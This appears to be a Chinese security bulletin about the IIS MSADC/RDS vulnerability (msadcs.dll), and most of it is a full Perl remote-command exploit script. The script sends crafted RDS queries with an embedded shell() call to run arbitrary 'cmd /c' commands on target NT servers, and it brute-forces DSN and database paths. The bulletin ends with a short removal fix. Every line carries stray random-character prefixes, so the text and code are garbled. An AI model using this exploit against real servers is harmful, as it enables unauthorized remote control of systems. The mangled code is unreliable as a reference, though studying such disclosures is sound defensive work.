IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
+ls*//R ^zPEAXm 涉及程序:
JrWBcp:Y Microsoft NT server
FO>( QLlH <eFAI}=s 描述:
Y{2d4VoW6 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
5h=TV q(tGbhQ 详细:
OC>_=i$' 如果你没有时间读详细内容的话,就删除:
r{2].31' c:\Program Files\Common Files\System\Msadc\msadcs.dll
$EGRaps{j> 有关的安全问题就没有了。
e=jT]i *cU QT= ,En 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
3)c
K*8# 46P6Bwobh 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
SM#S/|.] 关于利用ODBC远程漏洞的描述,请参看:
^0tf1pV2 K_+;"G http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm fw|+7 O =_m9so 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
PSf5p\<5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp =6:L +V }B9~X 这里不再论述。
.F$|j1y
uGUv~bE 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
4,F3@m:< >AzWM
.r /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
I`'a' 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
[&pW&>p3 c6Aut`dK ~l*?D7[o #将下面这段保存为txt文件,然后: "perl -x 文件名"
~'NpM#A \aVY>1` #!perl
6(J4IzZ #
4]aiT8)) # MSADC/RDS 'usage' (aka exploit) script
}\u% )uZ #
M9s43XL(& # by rain.forest.puppy
T~o{woq}g #
%t~SOkx # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
m
UWkb # beta test and find errors!
`kNi*I^ "o{)X@YN] use Socket; use Getopt::Std;
v"~Do+*+ getopts("e:vd:h:XR", \%args);
JpxbB)/ ![@T iM print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>^yc=mM(g3 )jlP
cO- if (!defined $args{h} && !defined $args{R}) {
'cAc{\) print qq~
sCF40AoY& Usage: msadc.pl -h <host> { -d <delay> -X -v }
B+Y5b5+wOQ -h <host> = host you want to scan (ip or domain)
Jh43)#G- -d <seconds> = delay between calls, default 1 second
a4T~\\,dZ> -X = dump Index Server path table, if available
] dHB} -v = verbose
e`Co,>W/ -e = external dictionary file for step 5
-*|:v67C& _^ q\XPS Or a -R will resume a command session
j1puB fimb]C I|x ~; exit;}
T3Frc ]6,4 L\ }Pzxn $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
]^:hyOK if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
a#+>w5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n$XdSh/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
WHUT/:?f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
aXdf>2c{JD if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
)RwBg8 wfxOx$]zK if (!defined $args{R}){ $ret = &has_msadc;
rQ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
c[VrC+e m ?wd|G4.Vo print "Please type the NT commandline you want to run (cmd /c assumed):\n"
M[aT2A . "cmd /c ";
co5y"yj_ $in=<STDIN>; chomp $in;
N%9h~G $command="cmd /c " . $in ;
~->Hlxze'K G HD^%)T5^ if (defined $args{R}) {&load; exit;}
|l|_dn J=UZ){c>:. print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
CQdBf3q &try_btcustmr;
x*.Ye5Jb aSOU#Csx print "\nStep 2: Trying to make our own DSN...";
}A{_L6qx &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?ork^4 $s 24| print "\nStep 3: Trying known DSNs...";
I4)Nb WQ &known_dsn;
AG]WO8f) K7IyCcdB print "\nStep 4: Trying known .mdbs...";
ngP7'1I &known_mdb;
/7bw: h; $ye^uu;Z if (defined $args{e}){
_u>t3RUA print "\nStep 5: Trying dictionary of DSN names...";
cV-i*L4X &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
hwiKOP ?>sQF4 V" print "Sorry Charley...maybe next time?\n";
#wr2imG6 exit;
MDk*j,5V O -G1})$ ##############################################################################
*|mz_cKu 1e/L\Y=m sub sendraw { # ripped and modded from whisker
o]A XT8 sleep($delay); # it's a DoS on the server! At least on mine...
[*<.?9n)or my ($pstr)=@_;
XdpF&B&K7Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5O&d3;p' die("Socket problems\n");
rJu[N(2k if(connect(S,pack "SnA4x8",2,80,$target)){
N[pZIH5ho= select(S); $|=1;
=yo{[&Jz print $pstr; my @in=<S>;
34SA~5 select(STDOUT); close(S);
r*chL&7 return @in;
G*B$%?n } else { die("Can't connect...\n"); }}
2}w#3K Rp0|zP,5 ##############################################################################
_?.\Xc r@iASITX sub make_header { # make the HTTP request
y_*n9
)Ct my $msadc=<<EOT
(#$$nQj POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|Ab{H% User-Agent: ACTIVEDATA
.)7:= Host: $ip
(3VGaUlx Content-Length: $clen
3qtr9NI Connection: Keep-Alive
u_LY\'n {b1UX9y ADCClientVersion:01.06
#|Oj]bd(= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[![ G7H%f %(`#A.yaE --!ADM!ROX!YOUR!WORLD!
jq(qo4~; Content-Type: application/x-varg
yyP'Z~0 Content-Length: $reqlen
!2$ z *C2; dv, C6t2 EOT
&Yf",KcL*I ; $msadc=~s/\n/\r\n/g;
:I
\9YzSs@ return $msadc;}
U]1(&MgV \gItZ}+c4} ##############################################################################
1CkdpYjsj *"cD.)]#2 sub make_req { # make the RDS request
;wR 'z$8 my ($switch, $p1, $p2)=@_;
>&WhQhZ3kg my $req=""; my $t1, $t2, $query, $dsn;
ZB[k{Y |CIC$2u if ($switch==1){ # this is the btcustmr.mdb query
>.<ooWw $query="Select * from Customers where City=" . make_shell();
-Wc~B3E| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
/syVGmS'M $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)DT|(^ Gr: 3{o` elsif ($switch==2){ # this is general make table query
,a0pAj $query="create table AZZ (B int, C varchar(10))";
Dx-KMiQ,"( $dsn="$p1";}
3~Qd)j"< 7LCp7$Cp elsif ($switch==3){ # this is general exploit table query
9S1)U$ $query="select * from AZZ where C=" . make_shell();
#? ?%B $dsn="$p1";}
|cDszoT
/ bA@P}M)X elsif ($switch==4){ # attempt to hork file info from index server
X}cZxlqc $query="select path from scope()";
C5@V/vA $dsn="Provider=MSIDXS;";}
)R?;M y&oNv
xG- elsif ($switch==5){ # bad query
y3eHF^K+$ $query="select";
a{'Z5ail $dsn="$p1";}
Quzo8u l!
v!hUb+ $t1= make_unicode($query);
0Fw6Dq<8-! $t2= make_unicode($dsn);
jb[!E^'&> $req = "\x02\x00\x03\x00";
DC Q^fZ/ $req.= "\x08\x00" . pack ("S1", length($t1));
XK
ApLz $req.= "\x00\x00" . $t1 ;
@Uo6>-WF $req.= "\x08\x00" . pack ("S1", length($t2));
tX%`#hb?s $req.= "\x00\x00" . $t2 ;
7N=-Y>$X $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@|\R}k%( return $req;}
Hkd^-=]]no MYLsHIPC ##############################################################################
LF*&(NC :G5RYi sub make_shell { # this makes the shell() statement
qO@@8/l return "'|shell(\"$command\")|'";}
e]Fp=*# |=dC
)Azs ##############################################################################
7KjUW\mN2Z 6oD\-H sub make_unicode { # quick little function to convert to unicode
k\`S
lb1 my ($in)=@_; my $out;
Te,$M3| for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
;GGK`V return $out;}
X"aEJ|y G?c-79]U ##############################################################################
3oy~= qMYe{{r sub rdo_success { # checks for RDO return success (this is kludge)
Q{g;J`Z)p my (@in) = @_; my $base=content_start(@in);
O) atNE if($in[$base]=~/multipart\/mixed/){
.TJEUK return 1 if( $in[$base+10]=~/^\x09\x00/ );}
?.=}pAub return 0;}
%?Y[Bk3p gB'fFkd ##############################################################################
a2 +~;{?g (la[KqqCO sub make_dsn { # this makes a DSN for us
LE6.nmvS my @drives=("c","d","e","f");
)!BsF'uVQ print "\nMaking DSN: ";
bi4f]^hQz foreach $drive (@drives) {
Ev"|FTI/ print "$drive: ";
NB_)ZEmF my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
/4\wn?f "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2i{cQ96 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
aUHcYc\u $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
u"1rF^j6k return 0 if $2 eq "404"; # not found/doesn't exist
I
pzJ# if($2 eq "200") {
#>=j79~ foreach $line (@results) {
|*/[`|*G return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^O(=Vry } return 0;}
L"jY+{oLIJ 0|&\'{ ##############################################################################
QqNW}:# 'y]\-T sub verify_exists {
\s"U{N- my ($page)=@_;
7\]E~/g my @results=sendraw("GET $page HTTP/1.0\n\n");
x<Vm5j return $results[0];}
/S5|wNu mE`kjmX{ E ##############################################################################
<JMcIV837 ui q^|5Z sub try_btcustmr {
k>x&Ip8p my @drives=("c","d","e","f");
!`1'2BC my @dirs=("winnt","winnt35","winnt351","win","windows");
r(d':L V bXUy9-L foreach $dir (@dirs) {
nOx4<Wk& print "$dir -> "; # fun status so you can see progress
lif&@of foreach $drive (@drives) {
toN^0F?Qm print "$drive: "; # ditto
-7J| l $reqlen=length( make_req(1,$drive,$dir) ) - 28;
3rLTF\ $reqlenlen=length( "$reqlen" );
n
-( $clen= 206 + $reqlenlen + $reqlen;
<)+y=m\eJ kmzH'wktt my @results=sendraw(make_header() . make_req(1,$drive,$dir));
t!Sq A(-V if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
.ERO|$fv else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
T\~x.aH`^ "ju6XdZo ##############################################################################
Z{&cuo.@<] R.=}@oPb sub odbc_error {
@(r/dZc my (@in)=@_; my $base;
r.7$&BCng my $base = content_start(@in);
BIuK @$ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
W9NX=gE4 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7{&|;U $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=zQN[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9z6XF]A return $in[$base+4].$in[$base+5].$in[$base+6];}
g}@OUG"D print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
jKt7M>P print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
k)EX(T\ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
2eMTxwt*S .\>v0Du ##############################################################################
*_>Lmm.yh I? ,>DHUX sub verbose {
bygx]RC[ my ($in)=@_;
U&O:
_>~ return if !$verbose;
*6q5S4 r print STDOUT "\n$in\n";}
]U"94S U:) lg^Z*&( ##############################################################################
"AE5
V' |i++0BU sub save {
-Uml_/rd_ my ($p1, $p2, $p3, $p4)=@_;
T=ev[ mS open(OUT, ">rds.save") || print "Problem saving parameters...\n";
;*MLRXq print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
AK@9?_D close OUT;}
| Bi! Jv^h\~*jH ##############################################################################
ti
\wg EFz&N\2 sub load {
Mo^ od< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~@}Bi@* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
F w?[lS @p=<IN>; close(IN);
A0Qb 5e $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8i2n;LAz $target= inet_aton($ip) || die("inet_aton problems");
7
qS""f7 print "Resuming to $ip ...";
hIT+gnhh $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
GWfL if($p[1]==1) {
PUUwv_ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
r]6C $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
|p ,P46I my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~sh`r{0 if (rdo_success(@results)){print "Success!\n";}
Z.L c>7o else { print "failed\n"; verbose(odbc_error(@results));}}
:>5@cvc elsif ($p[1]==3){
')cMiX\v if(run_query("$p[3]")){
+L;e^#>d print "Success!\n";} else { print "failed\n"; }}
`x*Pof!Io elsif ($p[1]==4){
.6Pw|xu`Pw if(run_query($drvst . "$p[3]")){
$&n=$C&x print "Success!\n"; } else { print "failed\n"; }}
I`!<9OTBj exit;}
XuFYYx~ ^3 ,0!}7;j_c ##############################################################################
.:F%_dS D a!v1M2> sub create_table {
gDpVeBd[ my ($in)=@_;
) AvN\sC $reqlen=length( make_req(2,$in,"") ) - 28;
%iQD /iT5 $reqlenlen=length( "$reqlen" );
50S&m+4d+ $clen= 206 + $reqlenlen + $reqlen;
\XZ/v*d0
my @results=sendraw(make_header() . make_req(2,$in,""));
Wi)_H$KII return 1 if rdo_success(@results);
8<QdMkI my $temp= odbc_error(@results); verbose($temp);
.(cw>7e3D return 1 if $temp=~/Table 'AZZ' already exists/;
xqu}cz return 0;}
Fj2BnM3# 3EPv"f^V ##############################################################################
_9F9W{' V2wb%;q sub known_dsn {
u0`S5? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ig/xv my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
V Y7[) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
N5lDS "banner", "banners", "ads", "ADCDemo", "ADCTest");
*nkoPVpC at,XB.}Z] foreach $dSn (@dsns) {
nksLWfpG?B print ".";
qm/22:&v5 next if (!is_access("DSN=$dSn"));
@niHl if(create_table("DSN=$dSn")){
A P?R"% print "$dSn successful\n";
c(xrP/yOwi if(run_query("DSN=$dSn")){
OrY/`+Cog print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2K/4Rf0; print "Something's borked. Use verbose next time\n";}}} print "\n";}
h-`? {k&e TNe l/ ##############################################################################
/
*#r`A Z>k#n'm^z sub is_access {
s+$ Q}|?u my ($in)=@_;
E Nhl&J $reqlen=length( make_req(5,$in,"") ) - 28;
*&^Pj%DX $reqlenlen=length( "$reqlen" );
\wz6~5R $clen= 206 + $reqlenlen + $reqlen;
|4;Fd9q^m my @results=sendraw(make_header() . make_req(5,$in,""));
1Y\DJ@lh my $temp= odbc_error(@results);
m$>H u@Va verbose($temp); return 1 if ($temp=~/Microsoft Access/);
2lH& return 0;}
F rfM3x6UM {HltvO%8 ##############################################################################
5H<m$K4z c_$=-Khk sub run_query {
?jv/TBZX4 my ($in)=@_;
NX*Q F+ $reqlen=length( make_req(3,$in,"") ) - 28;
c <B/V0] $reqlenlen=length( "$reqlen" );
[Kg+^N%+ $clen= 206 + $reqlenlen + $reqlen;
99e.n0 my @results=sendraw(make_header() . make_req(3,$in,""));
;#W2|'HD return 1 if rdo_success(@results);
2j[=\K] my $temp= odbc_error(@results); verbose($temp);
c<:-T return 0;}
)4 e.k$X^ _Eo[7V{NY ##############################################################################
4#MtF'J cKca;SNql1 sub known_mdb {
%D{6[8 my @drives=("c","d","e","f","g");
*SJ_z(CZm my @dirs=("winnt","winnt35","winnt351","win","windows");
BO?%'\ my $dir, $drive, $mdb;
gV's=cQ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mp1@|*Sn x)DMPVB< # this is sparse, because I don't know of many
G5BfNU my @sysmdbs=( "\\catroot\\icatalog.mdb",
@Md/Q~> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Xx~Bp+ "\\system32\\certmdb.mdb",
UERLtSQ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
zj{pJOM06 gh]cXuph my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
BA:VPTZq "\\cfusion\\cfapps\\forums\\forums_.mdb",
y'.p&QH'` "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Qz1E 2yJ "\\cfusion\\cfapps\\security\\realm_.mdb",
S&wMrQ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
R B "\\cfusion\\database\\cfexamples.mdb",
i>`%TW:g "\\cfusion\\database\\cfsnippets.mdb",
MAR'y8I "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
W:2( .? "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
m.rmM` "\\cfusion\\brighttiger\\database\\cleam.mdb",
Tx# Mn~xD "\\cfusion\\database\\smpolicy.mdb",
eF$x 1| "\\cfusion\\database\cypress.mdb",
D;*SnU(9L "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"%w u2%i "\\website\\cgi-win\\dbsample.mdb",
tX s\R(?T "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
BL}\D;+t "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
H/
HMm{4 ); #these are just
ITI)soa~ foreach $drive (@drives) {
=j]<t foreach $dir (@dirs){
6<QQ@5_ foreach $mdb (@sysmdbs) {
JX;G<lev print ".";
!wVM= z^G if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*L^,| print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
M5X&}cN6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
83_h J print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
T.BW H2gRP } else { print "Something's borked. Use verbose next time\n"; }}}}}
45c$nuZ !*N@ZL&X foreach $drive (@drives) {
F^;ez/Gl foreach $mdb (@mdbs) {
R__OP`! print ".";
^6V[=!& H if(create_table($drv . $drive . $dir . $mdb)){
[RhO$c$[\ print "\n" . $drive . $dir . $mdb . " successful\n";
kn4`Fa;)O if(run_query($drv . $drive . $dir . $mdb)){
",; H`V print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
FvjPdN/L?R } else { print "Something's borked. Use verbose next time\n"; }}}}
*.t7G }
$%#!bV f2`2,? ##############################################################################
VU3upy< S2&4g/ sub hork_idx {
8(~h"]`! print "\nAttempting to dump Index Server tables...\n";
?CPahU print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
h*](a_0 $reqlen=length( make_req(4,"","") ) - 28;
x'<X!gw $reqlenlen=length( "$reqlen" );
^u ~Q/4 $clen= 206 + $reqlenlen + $reqlen;
n/:33DAB my @results=sendraw2(make_header() . make_req(4,"",""));
W^l-Y%a/o if (rdo_success(@results)){
0x@
mZ my $max=@results; my $c; my %d;
)Ql%r?(F+ for($c=19; $c<$max; $c++){
/*mI<[xb $results[$c]=~s/\x00//g;
E:nF$#<'N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
lt8|9"9< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
)+DmOsH $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
kt:!
7 $d{"$1$2"}="";}
0\P1; ak% foreach $c (keys %d){ print "$c\n"; }
tGa8W } else {print "Index server doesn't seem to be installed.\n"; }}
4H&+dRI" yY q,*<G ##############################################################################
U>N1Od4vTO C LRdm^B sub dsn_dict {
t%=tik2|7 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*$g-:ILRuZ while(<IN>){
Lp9E:D-> $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
/7YIn3 next if (!is_access("DSN=$dSn"));
(9dl(QSd if(create_table("DSN=$dSn")){
zTU0HR3A print "$dSn successful\n";
a&? :P1$ if(run_query("DSN=$dSn")){
N(yzk_~ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
S)@j6(HC4 print "Something's borked. Use verbose next time\n";}}}
fz
"Y CHe print "\n"; close(IN);}
= dN@Sa/ nU7[c| = ##############################################################################
+
{'.7# LKDO2N sub sendraw2 { # ripped and modded from whisker
l*G[!u sleep($delay); # it's a DoS on the server! At least on mine...
7@W>E;go my ($pstr)=@_;
p4Z(^+Aa socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3!_XEN[ die("Socket problems\n");
h/Y'<: if(connect(S,pack "SnA4x8",2,80,$target)){
5Gm_\kd print "Connected. Getting data";
^U/O!GK open(OUT,">raw.out"); my @in;
K{+2G&i select(S); $|=1; print $pstr;
< =IFcN while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
wUJcmM; close(OUT); select(STDOUT); close(S); return @in;
"" EQE>d } else { die("Can't connect...\n"); }}
xyXa . R=\IEqqsi ##############################################################################
]6j{@z?{ v`T
c}c ' sub content_start { # this will take in the server headers
<1TAw. my (@in)=@_; my $c;
-mh3DhJ, for ($c=1;$c<500;$c++) {
cU if($in[$c] =~/^\x0d\x0a/){
}x,S%M- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
|Y.?_lC else { return $c+1; }}}
r9XZ(0/p return -1;} # it should never get here actually
h{qgEIk& eyxW 0}[ ##############################################################################
6aj!Q*(WT m]&SN z= sub funky {
E{vbO/|kf my (@in)=@_; my $error=odbc_error(@in);
* v#o if($error=~/ADO could not find the specified provider/){
@2#lI print "\nServer returned an ADO miscofiguration message\nAborting.\n";
izR"+v exit;}
# f\rt
if($error=~/A Handler is required/){
A@u@ift print "\nServer has custom handler filters (they most likely are patched)\n";
!()Qm,1u exit;}
"J1
4C9u
if($error=~/specified Handler has denied Access/){
B)UZ`?>c print "\nServer has custom handler filters (they most likely are patched)\n";
GLODVcjf exit;}}
?q [T Gq P5Kx+= ##############################################################################
2`-Bs :23P!^Y
sub has_msadc {
QZ8IV> my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
|':{lH6+1 my $base=content_start(@results);
0+8e, return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
G+m }MOQP7 return 0;}
xYB{;K &5R&k0i r ########################
eJX#@`K lLIAw$ V VCZ9MVJ 解决方案:
*NQ/UXE 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ajpXL 2、移除web 目录: /msadc